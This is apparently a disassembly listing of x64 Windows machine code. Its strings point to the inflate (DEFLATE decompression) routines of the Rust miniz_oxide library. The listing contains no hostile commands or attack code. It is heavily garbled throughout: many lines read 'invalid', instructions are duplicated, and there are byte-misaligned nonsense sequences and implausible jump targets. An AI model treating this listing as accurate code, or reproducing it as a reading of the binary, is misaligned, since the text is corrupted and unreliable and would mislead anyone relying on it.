jl 0x14005e0d7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
mov r12d, dword [rsp + 0x38]
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0xb4], eax
add byte [rax], al
add byte [rbx - 0x76bfdbbc], cl
and al, 0x60
and al, 0x60
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xc8], rax
sub r15, rbx
cmp r15, 0x103
jb 0x14005e6b9
mov rax, r13
sub rax, rdi
cmp rax, 0xe
jb 0x14005e6b9
cmp r12d, 0x1d
mov rbp, qword [rsp + 0xb8]
ja 0x14005e126
sbb eax, 0x24ac8b48
mov eax, 0x77000000
adc ecx, dword [rbx - 0x1e76bbf9]
mov eax, dword [rdi]
mov ecx, r12d
invalid
shl rax, cl
add rdi, 4
or rbp, rax
or r12d, 0x20
lea rbx, [rsp + 0xdc]
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call 0x14005eeb3
cmp dword [rbx], 0
je 0x14005e5d5
mov ecx, dword [rsp + 0xe4]
shr rbp, cl
mov r15d, dword [rsp + 0xe0]
sub r12d, ecx
bt r15d, 8
jb 0x14005e1e6
lea rbx, [rsp + 0x90]
mov rcx, rbx
mov rdx, r14
mov r8, rbp
call 0x14005eeb3
or eax, 0x3b830000
add byte [rcx + rcx*4 + 0x7c], al
and al, 0x60
or eax, 0x3b830000
add byte [rcx + rcx*4 + 0x7c], al
and al, 0x60
je 0x14005e5d5
test byte [rsp + rax], cl
add byte [rbx + 0x94249c], cl
add byte [rax], al
mov ebx, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x98]
shr rbp, cl
sub r12d, ecx
lea rcx, [rsp + 0x78]
mov edx, r15d
call fcn.14005eef7
bt ebx, 8
jb 0x14005e1e9
mov qword [rsp + 0xb8], rbp
mov ebp, r12d
mov r12, rdi
mov rdi, r13
lea r13, [rsp + 0x78]
mov rcx, r13
mov edx, ebx
call fcn.14005eef7
mov r15, qword [r13 + 8]
mov rbx, qword [r13 + 0x10]
mov r13, rdi
mov rdi, r12
mov r12d, ebp
jmp 0x14005e0e5
mov ebx, r15d
mov eax, ebx
and eax, 0x1ff
cmp eax, 0x100
sete r15b
mov r8, qword [rsp + 0xc0]
je 0x14005e73f
invalid
add byte [rax], al
cmp eax, 0x11d
ja 0x14005e74b
add byte [rax], al
invalid
cmp r12d, 0x1d
ja 0x14005e259
mov rdx, r13
sub rdx, rdi
cmp rdx, 3
jbe 0x14005eaf1
mov edx, dword [rdi]
mov ecx, r12d
shl rdx, cl
add rdi, 4
or rbp, rdx
or r12d, 0x20
movzx ecx, al
test cl, cl
mov qword [rsp + 0xc8], rcx
add byte [rax], al
add byte [rax], al
je 0x14005e284
mov rax, 0xffffffffffffffff
shl rax, cl
shl eax, cl
sar bh, 0xff
invalid
dec dword [rax - 0x2d]
loopne 0x14005e26a
shl eax, cl
not eax
and eax, ebp
shr rbp, cl
sub r12d, ecx
shl byte [rcx], 1
call 0x181f3b5c2
sub esp, ecx
add eax, dword [rsp + 0x60]
mov dword [rsp + 0x60], eax
lea rbx, [rsp + 0x90]
mov rcx, rbx
mov rdx, r8
mov r8, rbp
call 0x14005eeb3
cmp dword [rbx], 0
je 0x14005e753
mov ecx, dword [rsp + 0x98]
shr rbp, cl
mov eax, dword [rsp + 0x94]
and eax, 0x1ff
sub r12d, ecx
cmp eax, 0x1d
sbb eax, 0x7e1d8d48
fisub dword [rdx]
add byte [rdi], cl
invalid
xchg edx, eax
add al, 0
invalid
sbb eax, 0x7e1d8d48
fisub dword [rdx]
add byte [rdi], cl
xchg dword [rdx + 0x48000004], edx
lea ecx, [0x1402161c8]
lea rcx, [0x1402161c8]
movzx r9d, byte [rax + rcx]
lea rcx, [0x1402161e8]
movzx r8d, word [rcx + rax*2]
test r9d, r9d
mov qword [rsp + 0xc8], r9
je 0x14005e337
cmp r12d, 0x1d
ja 0x14005e31a
mov rdx, r13
sub rdx, rdi
cmp rdx, 3
jbe 0x14005eaf1
mov eax, dword [rdi]
mov ecx, r12d
shl rax, cl
add rdi, 4
or rbp, rax
or r12d, 0x20
mov rax, 0xffffffffffffffff
mov ecx, r9d
shl rax, cl
not eax
and eax, ebp
shr rbp, cl
sub r12d, r9d
int3
add eax, r8d
mov r8d, eax
int3
mov rbx, qword [rsp + 0x88]
mov dword [rsp + 0xb4], r8d
mov r9d, r8d
mov eax, dword [rsp + 0x188]
invalid
test al, 4
je 0x14005e35e
cmp rbx, r9
jb 0x14005e76d
add byte [rax], al
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x78
mov qword [rsp + 0xb8], rbp
mov rcx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x80]
mov ebp, r12d
mov r12, rdi
mov rdi, r13
mov r13d, dword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
insb byte [rdi], dx
and al, 0x60
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r13
mov rdx, r15
mov r8, rbx
call fcn.14005ef2e
add rbx, r13
mov r13, rdi
mov rdi, r12
out 0x41, eax
mov esp, ebp
mov qword [rsp + 0x88], rbx
jmp 0x14005e0e5
invalid
dec dword [rax - 0x77]
and al, 0x48
mov qword [rsp + 0x48], rax
jmp 0x14005e01f
mov qword [rsp + 0x48], rdi
jmp 0x14005e3ca
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], r12d
mov dl, 0x15
mov r15, qword [rsp + 0x70]
mov ebp, dword [rsp + 0x188]
lea rbx, [0x14028bd44]
invalid
jl 0x14005e3f4
jo 0x14005e35d
lodsb al, byte [rsi]
and al, 0x88
add dword [rax], eax
add byte [rax - 0x73], cl
sbb eax, 0x22d965
invalid
add cl, ch
and ch, ah
invalid
jmp case.0x14005de95.3
invalid
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov qword [r14 + 0x2910], rax
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
xor edi, edi
mov r8d, 0x90
mov rcx, qword [rsp + 0xa8]
xor edx, edx
call case.0x14003f54f.219
invalid
dec dword [rax + 0x39]
cli
cmp rdx, rdi
je 0x14005e42d
mov byte [rax + rdi], 8
inc rdi
jmp 0x14005e41f
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x90
mov r8d, 0x100
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
mov edx, 0x31ffffe9
leave
add byte [rax - 0x75], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
mov edx, 0x31ffffe9
leave
cmp rdx, rcx
je 0x14005e45c
mov byte [rax + rcx], 9
inc rcx
jmp case.0x140039166.388
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x100
mov r8d, 0x118
mov rcx, qword [rsp + 0xa8]
call case.0x14003f54f.219
xor ecx, ecx
cmp rdx, rcx
je 0x14005e48b
mov byte [rax + rcx], 7
inc rcx
jmp 0x14005e47d
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x118
mov r8d, 0x120
mov rcx, qword [rsp + 0xa8]
call case.0x14003f54f.219
xor ecx, ecx
cmp rdx, rcx
je 0x14005e4ba
mov byte [rax + rcx], 8
inc rcx
jmp 0x14005e4ac
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
xor edi, edi
mov r8d, 0x20
mov rcx, qword [rsp + 0xe8]
xor edx, edx
call case.0x14003f54f.219
cmp rdx, rdi
je 0x14005e4e6
mov byte [rax + rdi], 5
inc rdi
jmp 0x14005e4d8
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14005eb03
cmp al, 1
je case.0x14005de95.3
jmp 0x14005ea37
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call fcn.14005ef2e
mov qword [rsp + 0x88], rdi
mov dl, 0xc
jmp case.0x14005de95.3
and al, 0x88
add byte [rax], al
add byte [rdx - 0x151716f4], dh
invalid
mov dl, 0x1a
jmp case.0x14005de95.3
mov dl, 0x23
mov ebp, dword [rsp + 0x188]
mov byte [rcx], al
add byte [rax], al
mov byte [rcx], al
add byte [rax], al
jmp case.0x14005de95.3
test r12d, r12d
mov ebp, dword [rsp + 0x188]
jne 0x14005e54a
mov dl, 0x20
cmp eax, 0x10
je case.0x14005de95.3
movabs rcx, 0x300000002
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x98], 7
mov eax, eax
lea rcx, [rax - 0x10]
cmp rcx, 2
ja 0x14005ea99
xchg dword [rdx], esp
invalid
add byte [rax], al
xchg dword [rdx], esp
add eax, 0x448b0000
test byte [rax - 0x77], dl
and al, 0x44
mov dl, 0xb
jmp case.0x14005de95.3
movzx eax, word [r14 + 0x291c]
movzx ecx, word [r14 + 0x291e]
xor cx, ax
mov dword [rsp + 0x40], eax
mov dl, 0x1f
cmp cx, 0xffff
jne case.0x14005de95.3
mov qword [rsp + 0x48], rdx
mov dl, 0x18
jmp case.0x14005de95.3
mov qword [rsp + 0x48], rdi
mov dl, 0x23
xor r15d, r15d
lea rbx, [0x14028bd44]
jmp case.0x140040456.227
mov eax, r13d
and eax, 0x3ff
movsx eax, word [r14 + rax*2]
test eax, eax
js 0x14005e63b
mov ecx, eax
shr ecx, 9
and eax, 0x1ff
jmp 0x14005e64a
mov rcx, r14
mov edx, eax
mov r8, r13
call 0x1400e222f
invalid
mov ecx, edx
call 0x1400e222f
add byte [rcx - 0x7adc4d2f], cl
leave
mov dl, 0x23
test ecx, ecx
je case.0x14005de95.3
shr r13, cl
mov qword [rsp + 0x30], r13
sub r12d, ecx
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x40], eax
mov dl, 0xd
jmp case.0x14005de95.3
mov qword [rsp + 0x48], rdx
xor eax, eax
cmp rax, 0x120
je 0x14005e68c
mov byte [r14 + rax + 0x27c0], 0
inc rax
jmp 0x14005e676
and dword [rsp + 0x40], 0
cmp dword [r14 + 0x2914], 0x1f
mov edx, 9
mov eax, 0x1b
cmovae edx, eax
cmp dword [r14 + 0x2910], 0x11f
cmovae edx, eax
shr r9b, 1
invalid
invalid
invalid
invalid
shr r9b, 1
jmp 0xc94ee6ba
mov qword [rsp + 0x48], rdi
mov r15b, 1
mov dl, 0xc
or al, 0x48
lea ebx, [0x14028bd44]
or al, 0x48
lea ebx, [0x14028bd44]
mov rbp, qword [rsp + 0xb8]
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x38], r12d
mov eax, dword [rsp + 0xb4]
add byte [rcx - 0x74c3dbbc], cl
and al, 0x60
add byte [rcx - 0x74c3dbbc], cl
and al, 0x60
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xc8]
mov dword [rsp + 0x44], eax
test r15b, r15b
mov r15, qword [rsp + 0x70]
mov ebp, dword [rsp + 0x188]
mov byte [rcx], al
add byte [rax], al
mov byte [rcx], al
add byte [rax], al
jne case.0x14005de95.3
jmp 0x14005e9f9
mov qword [rsp + 0x48], rdi
jmp 0x14005e61e
inc dword [rcx + rcx*4 - 0x1f]
mov ecx, r12d
mov qword [rsp + 0x48], rax
mov r12d, ecx
jmp 0x14005e01f
mov eax, r12d
mov qword [rsp + 0x48], rdi
mov r12d, eax
jmp 0x14005e61e
mov dl, 0x14
mov dword [rsp + 0x60], 0x100
jmp 0x14005e76f
mov dl, 0x23
lea rbx, [0x14028bd44]
and al, byte [rax]
and al, byte [rax]
jmp 0x14005e760
mov dl, 0x22
mov qword [rsp + 0x48], rdi
xor r15d, r15d
jmp case.0x140040456.227
mov dl, 0x1e
mov qword [rsp + 0x48], rdi
jmp 0x14005e5df
mov byte [r15 + 8], 0xfd
and qword [r15], 0
and qword [r15 + 0x10], 0
jmp 0x14005e9e5
add cl, ch
pop rcx
add al, byte [rax]
add byte [rax - 0x77], cl
push rsp
and al, 0x48
mov al, 8
test bpl, 2
jne case.0x1400473d4.111
xor esi, esi
mov r9b, 0xfc
jmp 0x14005e8fb
mov qword [rsp + 0x48], r8
mov al, 0x17
jmp 0x14005e86d
mov qword [rsp + 0x48], r10
mov al, 5
jmp 0x14005e86d
mov qword [rsp + 0x48], rbx
mov al, 9
jmp 0x14005e86d
mov qword [rsp + 0x88], rbx
mov dl, 0x13
mov r9b, 2
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x180]
mov ebp, dword [rsp + 0x188]
jmp 0x14005e8cb
mov qword [rsp + 0x48], r9
mov al, 0xe
jmp 0x14005e86d
mov qword [rsp + 0x48], r9
mov al, 0x10
jmp 0x14005e86d
mov qword [rsp + 0x48], r8
mov al, 0xb
jmp 0x14005e86d
mov qword [rsp + 0x48], rdx
mov al, 3
test bpl, 2
mov rdi, qword [rsp + 0x68]
jne 0x14005e89a
mov al, 0xa
jmp 0x14005e861
mov dl, 0xa
mov r9b, 0xff
mov r15, rdi
jmp 0x14005ea10
mov eax, edx
jmp 0x14005e86d
mov dl, 0xff
mov qword [rsp + 0x48], rdi
mov al, 9
mov r9d, edx
jmp 0x14005e872
mov qword [rsp + 0x48], rdx
mov al, 0xf
mov r9d, dword [rsp + 0x5c]
cmp r9b, 1
je 0x14005e895
mov rcx, qword [rsp + 0x80]
cmp rcx, qword [rsp + 0x88]
jne 0x14005e8f6
cmp al, 0x17
sete cl
mov r9b, 2
mov cl, 2
sub r9b, cl
jmp 0x14005e8f9
mov r12, qword [rsp + 0x180]
mov eax, dword [rsp + 0x50]
mov ecx, edi
sub ecx, eax
add ecx, dword [rsp + 0x48]
mov eax, dword [rsp + 0x38]
mov esi, eax
shr esi, 3
cmp esi, ecx
cmovae esi, ecx
lea ecx, [rsi*8]
sub eax, ecx
mov dword [rsp + 0x38], eax
mov eax, edx
jmp 0x14005e8fb
mov r9b, 1
xor esi, esi
mov byte [r14 + 0x2ae9], al
mov ecx, dword [rsp + 0x38]
mov rax, 0xffffffffffffffff
shl rax, cl
not rax
and rax, qword [rsp + 0x30]
mov dword [r14 + 0x28e8], ecx
mov ecx, dword [rsp + 0x3c]
mov dword [r14 + 0x2904], ecx
add al, 0x29
add byte [rax], al
mov ecx, dword [rsp + 0x40]
mov dword [r14 + 0x2908], ecx
mov ecx, dword [rsp + 0x44]
mov dword [r14 + 0x290c], ecx
mov qword [r14 + 0x28e0], rax
test bpl, 0x40
jne 0x14005e9c2
mov eax, ebp
and eax, 9
je 0x14005e9c2
jne 0x14005e9ca
test bpl, 1
sete cl
cmp eax, dword [r14 + 0x28f4]
sete r9b
or r9b, cl
add r9b, r9b
add r9b, 0xfe
jmp 0x14005e9ca
mov rbx, qword [rsp + 0x88]
add rsi, qword [rsp + 0x50]
sub rdi, rsi
add rdi, qword [rsp + 0x48]
sub rbx, r12
mov byte [r15 + 8], r9b
mov qword [r15], rdi
mov qword [r15 + 0x10], rbx
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r9b, 0xff
jmp 0x14005ea10
mov dl, 6
jmp 0x14005ea0d
mov dl, 0xd
mov r9b, 2
mov rdi, qword [rsp + 0x68]
jmp 0x14005e8c3
mov qword [rsp + 0x48], r8
mov al, 0xc
jmp 0x14005e872
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x240
call fcn.1401c6eb0
movzx ecx, al
cmp ecx, 2
jne 0x14005ea46
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x1c9
mov rcx, r12
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x13
jmp 0x14005ea91
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov ecx, 3
mov edx, 3
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x1c9
mov rcx, rax
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005ea7b
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x1c9
jmp 0x14005eae9
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov rcx, r15
jmp 0x14005eada
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov edx, 0x1c9
mov rcx, r9
call fcn.1401c6f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x1402162d0]
mov rcx, r12
mov rdx, rbx
call fcn.1401c7190
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov rcx, rbx
call fcn.1401c6f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov ecx, 4
call fcn.1401c6f20
int3
mov r14d, dword [rdi + rcx*4 + 0x2910]
cmp r14, 0x120
ja 0x14005ee0d
imul rax, rcx, 0xda0
lea rsi, [rdi + rax]
movaps xmmword [rsp + 0xb0], xmm6
sub dword [rsp + 0xb0], esi
sub dword [rsp + 0xb0], esi
mov ah, 0x24
mov al, 0
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm6
and dword [rsp + 0x70], 0
xor ecx, ecx
cmp rcx, 0x800
je 0x14005ebc3
and word [rsi + rcx], 0
add rcx, 2
jmp 0x14005ebaf
add rax, r9
xor ecx, ecx
cmp rcx, 0x480
je 0x14005ebdc
and word [rax + rcx], 0
add rcx, 2
jmp 0x14005ebc8
lea r15, [rsi + 0xc80]
mov rcx, r15
mov rdx, r14
call fcn.14005cc52
xor ecx, ecx
cmp rdx, rcx
je 0x14005ec11
movzx r8d, byte [rax + rcx]
cmp r8, 0xf
ja 0x14005ee0b
inc dword [rsp + r8*4 + 0x80]
inc rcx
jmp 0x14005ebf0
xor eax, eax
mov r8d, 1
mov eax, 1
mov eax, 1
xor edx, edx
xor ecx, ecx
sal byte [rcx], cl
leave
test r8, r8
je 0x14005ec73
mov r11d, 0x10
adc byte [rax], al
add byte [rax], al
sub r11, rax
cmp r8, r11
cmovb r11, r8
lea r9, [r11 + rax]
or al, 3
invalid
add ecx, dword [rcx + rdi - 0x38]
cmp rax, r9
cmovbe rax, r9
sub r11, r8
cmp rax, 0xf
ja 0x14005ec57
adc dword [rbx + rcx*4 - 0x6c], eax
test byte [rax + 0x4d000000], al
lea ecx, [rsp + rax*4]
mov r10d, dword [rsp + rax*4 + 0x80]
lea r9, [r12 + rax*4]
inc rax
shr bl, 3
jmp 0x14005ec5a
xor r9d, r9d
test r9, r9
je 0x14005ec8a
lea rbx, [r11 + 1]
mov r8d, 0
mov eax, 0
mov eax, 0
add byte [rax], al
add byte [rax], al
test r11, r11
mov r11, rbx
jne 0x14005ec40
jmp 0x14005ec8d
cmp rax, 0xf
cmp eax, 0xf
clc
emms
sub dword [rbx + rcx*4 - 0x6c], eax
test byte [rax + 0x4d000000], al
lea ecx, [rsp + rax*4]
invalid
ja 0x14005eca2
mov r10d, dword [rsp + rax*4 + 0x80]
lea r9, [r12 + rax*4]
invalid
test byte [rax - 1], cl
shr bl, 3
inc rax
inc eax
jmp 0x14005ec8d
xor r8d, r8d
test r9, r9
je 0x14005eca2
add ecx, r10d
add edx, r10d
add edx, edx
mov dword [r9], edx
jmp 0x14005ec1d
mov al, 1
cmp edx, 0x10000
cli
add byte [rax], al
add dword [rax], eax
cli
add byte [rax], al
add dword [rax], eax
je 0x14005ecb5
cmp ecx, 1
ja 0x14005ee2f
invalid
add byte [rsi + 0x41], ah
mov eax, 0x3145ffff
mov r8w, 0xffff
xor r9d, r9d
mov r8d, 0x3145ffff
leave
cmp r9, r14
jae 0x14005ede3
invalid
mov r10, r9
inc r9
mov r11b, byte [r15 + r10]
sbb al, 0x17
lea ecx, [r11 - 0x11]
cmp cl, 0xf0
jb 0x14005ecbd
stc
invalid
movzx edx, r11b
movzx edx, bl
mov ebp, dword [rsp + rdx*4 + 0x30]
lea ecx, [rbp + 1]
mov dword [rsp + rdx*4 + 0x30], ecx
mov ecx, r11d
invalid
xchg esp, eax
xor byte [rcx + rcx*4 - 0x27], al
invalid
fdecstp
invalid
neg cl
mov ebx, ebp
shl ebx, cl
shr ebx, cl
cmp ebx, 0x400
add byte [rax + rax], al
add byte [rbx + 0x42], dh
invalid
add byte [rax + rax], al
add byte [rbx + 0x42], dh
invalid
and cl, 0x1f
mov ebx, ebx
lea r13, [0x140214e68]
sbb eax, dword [rax]
sbb eax, dword [rax]
mov ebx, dword [r13 + rbx*4]
shr ebx, cl
popfq
add bl, dl
jmp 0x14005ed50
cmp r11b, 0xb
jae 0x14005ed57
movzx ecx, dx
shl ecx, 9
retf 0xe1c1
add r10d, ecx
mov r11d, 1
mov ecx, edx
shl r11, cl
mov ecx, ebx
cmp rcx, 0x3ff
ja 0x14005ecbd
mov word [rsi + rcx*2], r10w
adc al, 0x4e
add rcx, r11
jmp case.0x14002efaa.425
fldpi
in eax, dx
xor ebx, ebx
mov ecx, r11d
sub cl, 1
jb 0x14005ed0e
invalid
mov dword [rcx - 0x77], 0xe58341ed
add dword [rcx - 0x73], eax
mov r13d, ebp
and r13d, 1
lea ebx, [r13 + rbx*2]
shr ebp, 1
in eax, dx
pop rsp
pop rbp
add cl, dl
in eax, dx
jmp 0x14005ed42
mov ecx, ebx
and ecx, 0x3ff
movzx edx, word [rsi + rcx*2]
test dx, dx
invalid
je 0x14005ed70
mov r13d, r8d
mov r8d, edx
jmp 0x14005ed79
mov word [rsi + rcx*2], r8w
lea r13d, [r8 - 2]
shr ebx, 9
mov cl, 0xb
jmp 0x14005ed85
mov edx, r8d
mov r8d, r13d
not edx
cmp cl, r11b
rol byte [rax + rdi - 0x27], cl
jae 0x14005edc3
bt ebx, 1
adc dx, 0
cmp dx, 0x23f
cli
invalid
add cl, byte [rdi]
invalid
mov eax, dword [rax]
add byte [rax], al
mov eax, dword [rax]
add byte [rax], al
shr ebx, 1
movzx r13d, dx
movzx edx, word [rsi + r13*2 + 0x800]
or byte [rax], al
invalid
outsb dx, byte [rsi]
add byte [rax], cl
or byte [rax], al
invalid
or byte [rax], al
add dh, bh
shl dword [rsi - 0x7b], 0xd2
inc cl
test dx, dx
jne 0x14005ed84
mov word [rsi + r13*2 + 0x800], r8w
lea r13d, [r8 - 2]
invalid
jmp 0x14005ed7e
invalid
bt ebx, 1
adc dx, 0
rol byte [rax], cl
cmp dx, 0x23f
ja case.0x14003c294.322
movzx ecx, dx
mov word [rsi + rcx*2 + 0x800], r10w
jmp 0x14005ecbd
invalid
invalid
invalid
mov ecx, dword [rdi + 0x28fc]
test ecx, ecx
je 0x14005ee3e
std
invalid
push qword [rax - 0x4bd7f0fd]
and al, 0xc0
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov al, 3
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov al, 3
mov dl, 0xa
jmp 0x14005ee0d
mov dl, 0x1c
jmp 0x14005ee0d
mov dword [rcx], eax
add rsp, 0x28
ret
invalid
or al, byte [rax]
add byte [rax], al
mov r9d, eax
not r9d
bt r8, rdx
adc r9d, 0
cmp r9d, 0x23f
ja 0x14005eeb2
invalid
adc dword [rcx + rcx*4 - 0x38], eax
mov eax, r9d
movsx eax, word [rcx + rax*2 + 0x800]
inc edx
test eax, eax
js 0x14005ee8a
ret
cmp eax, 0x1c720200
mov edx, eax
shr edx, 9
jmp 0x14005eee4
invalid
mov dword [rsi + 4], eax
mov dword [rsi + 8], edx
mov ecx, 1
mov dword [rsi], ecx
add rsp, 0x20
pop rsi
ret
in al, dx
sub byte [rcx - 0x77], al
ror byte [rax - 0x77], 1
enter 0xffffffffffff8b48, 0x51
or byte [rax - 0x75], cl
adc byte [r8 + 0x39], cl
sal dword [rbx + 0x13], 1
mov rdx, qword [rax]
mov byte [rdx + rcx], r8b
inc rcx
mov qword [rax + 0x10], rcx
add rsp, 0x28
ret
pop rax
mov rbx, r8
mov r8, rdx
mov rdx, rcx
mov rax, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xb0]
mov eax, 0x48000000
mov esi, dword [rsp + 0xb0]
mov rdi, rbx
mov edi, ebx
sub rdi, r9
sub edi, ecx
and rdi, rax
cmp rsi, 3
cmp esi, 3
cmp esi, 3
jne 0x14005efa6
cmp rbx, 0xfffffffffffffffc
ja 0x14005efce
invalid
lea rcx, gs:[rbx + 3]
lea rcx, [rbx + 3]
cmp rcx, r8
ja 0x14005efce
lea rcx, [rdi + 2]
and rcx, rax
invalid
ror dword [rcx + rdi - 0x3f], 0x73
push rax
cmp rcx, r8
jae 0x14005efce
cmp rdi, r8
jae 0x14005efce
lea r9, [rdi + 1]
and r9, rax
ror dword [rbp + 0x39], 0xc1
add qword [r9 + 0x21], r9
ror dword [rbp + 0x39], 0xc1
jae 0x14005efce
mov al, byte [rdx + rdi]
mov byte [rdx + rbx], al
mov al, byte [rdx + r9]
mov byte [rdx + rbx + 1], al
mov al, byte [rdx + rcx]
add al, 0xa
add dword [rdx + 0x44880a04], ecx
sbb al, byte [rdx]
add al, 0xa
mov byte [rdx + rbx + 2], al
jmp 0x14005efce
mov rcx, rdi
sub rcx, rbx
sub ecx, ebx
sub ecx, ebx
jb 0x14005efdd
cmp rcx, rsi
jae 0x14005efdd
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
je 0x14005efe0
and byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 1
mov rcx, rdx
mov rdx, r8
mov r8, rdi
mov r9, rbx
call 0x14005f117
add qword [r8], rax
invalid
add qword [r8], rax
add byte [rax + 0x58c48348], dl
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
cmp rsi, r9
ja 0x14005f05b
lea r14, [rdi + rsi]
cmp r14, r8
jae 0x14005f05b
cmp rdi, rbx
jae 0x14005f079
test dword [rax], eax
add byte [rax], al
test dword [rax], eax
add byte [rax], al
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea r12, [rsp + 0x38]
mov rcx, r12
cmp byte [rcx + rcx*4 - 0x1f], cl
mov r9, rbx
call fcn.14005f4fb
add byte [rax], al
add byte [rax], al
mov rbx, qword [r12]
mov ebx, dword [rsp]
mov r15, qword [r12 + 8]
mov edi, dword [rsp + 8]
jl 0x14005f03c
or byte [rcx - 0x75], cl
push rsp
mov rdx, qword [r12 + 0x10]
and al, 0x10
mov r8, qword [r12 + 0x18]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea ecx, [0x140216120]
or eax, 0x1b70f6
or eax, 0x1b70f6
mov rcx, rsi
call fcn.1400412d1
lahf
and bh, dh
dec dword [rcx + rdi - 9]
invalid
lahf
and bh, dh
dec dword [rcx + rdi - 9]
invalid
test dword [rdi], 0xa587
add byte [rbp + 0x39], cl
ja 0x14005f0e0
cmp r14, r15
cmp esi, edi
dec byte [rdi]
xchg eax, eax
add byte [rax], al
add byte [rax + 1], cl
add rbx, rdi
ja 0x14005f104
add rbx, rdi
add ebx, edi
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov ecx, eax
and byte [rax - 0x77], cl
mov ecx, eax
ror dword [rcx - 0x77], 0xd8
mov r8, rbx
jmp 0x14005f0d3
mov rcx, rdx
mov rdx, r8
mov r8, rdi
mov eax, edi
mov eax, edi
mov r9, rbx
mov ecx, ebx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp 0x14005f117
sahf
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1b7028
sbb eax, dword [rax]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x1402160a8]
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x38]
mov rcx, r14
int1
int1
mov r9, rdi
mov ecx, edi
